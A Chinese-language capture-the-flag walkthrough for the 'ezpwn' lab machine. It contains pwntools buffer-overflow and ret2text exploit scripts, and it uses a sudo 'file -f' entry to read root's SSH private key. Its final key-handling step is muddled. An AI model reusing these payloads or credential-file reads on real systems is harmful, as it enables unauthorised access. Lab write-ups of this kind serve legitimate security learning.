目录

MazeSec ezpwn

# 信息收集

端口扫描

┌──(npc㉿kali)-[~/hackmyvm/ezpwn]
└─$ nmap -p- -sT 192.168.56.119

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6538/tcp open  unknown
9999/tcp open  abyss
1
2
3
4
5
6
7
8

80端口,dirsearch目录扫描也没东西

┌──(npc㉿kali)-[~/hackmyvm/ezpwn]
└─$ curl http://192.168.56.119
index
1
2
3

6538是一个python的默认http web服务,提供了pwn附件下载

经过测试,9999端口是pwn题目端口

# overflow

下载附件,拖进ida

main函数,调用了init,start函数

init函数

start函数,调用了gets函数(事故多发点),符合条件时会调用port函数

port函数,调用了system函数,执行了一个port相关脚本/home/a/overflow/port.sh,同时说明了存在用户a

没有保护措施

符合条件也能调用port函数,条件是输入的字符串第13个字符是'p',第15个字符是's',可以直接A*12 + A + 'p' + A + 's' + A

可以直接

一样的

from pwn import *

ip = '192.168.56.119'
port = 9999

payload = b"A" * 12 + b"A" + b"p" + b"A" + b"s" + b"A"

p = remote(ip, port)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10

nmap 扫描到新端口 11450

┌──(npc㉿kali)-[~/hackmyvm/ezpwn]
└─$ nmap -p- -sT 192.168.56.119

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6538/tcp  open  unknown
9999/tcp  open  abyss
11450/tcp open  unknown
1
2
3
4
5
6
7
8
9

# ret2text 到 ssh a用户

11450端口,还是一个python 的默认http web服务,提供了ret2text附件下载

提示,密码的位置提示了(offset),ssh密码可能是偏移值

start函数里有gets函数

程序没有保护

存在一个后门 shell 函数

shell 函数地址

给变量 a 填充满 + 8 字节的saved rbp + shell 函数地址

#!/usr/bin/env python3
from pwn import *

context.binary = './ret2text'

p = process('./ret2text')
p.recvuntil(b'a:')
shell_addr = 0x401152

payload = b'A' * 18
payload += p64(shell_addr)

print("[+] payload:"+str(payload))
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

程序崩溃了,可能栈没有对齐

找一条ret指令放shell 函数地址前面

ida使用alt+t快捷键,搜索retn,随便找一条retn指令地址

#!/usr/bin/env python3
from pwn import *

context.binary = './ret2text'

p = process('./ret2text')
p.recvuntil(b'a:')
shell_addr = 0x401152

payload = b'A' * 18
ret_addr = 0x4010D0
payload += p64(ret_addr)
payload += p64(shell_addr)

print("[+] payload:"+str(payload))
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

好像没什么用,没有远程端口。

漫长思考,把提示放一起

# hint
password and username in the program
(offset)
# overflow
/bin/bash /home/a/overflow/port.sh
# ret2text
a:我离shell还有多远呢
1
2
3
4
5
6
7

可以猜测,ssh用户名是a,密码是偏移量18的16进制表示0x12

# root

ssh登录到a用户,密码是0x12。有条suid file命令

gtfobins里有利用方式https://gtfobins.github.io/gtfobins/file/ (opens new window)

没有root.txt,尝试读取私钥

sudo /usr/bin/file -f /root/root.txt
1

sudo /usr/bin/file -f /root/.ssh/id_rsa
1

爆出私钥,处理一下格式,删掉:及以后的报错信息

a@ezpwn:~$ mkdir -p .ssh
a@ezpwn:~$ cd .ssh
a@ezpwn:~/.ssh$ vim authorized_keys
a@ezpwn:~/.ssh$ vim authorized_keys
a@ezpwn:~/.ssh$ cat authorized_keys | cut -d ':' -f 1 |tee authorized_keys 
a@ezpwn:~/.ssh$ chmod 600 authorized_keys
1
2
3
4
5
6

ssh 到root

最后一次更新于: 2025/11/04, 13:25:52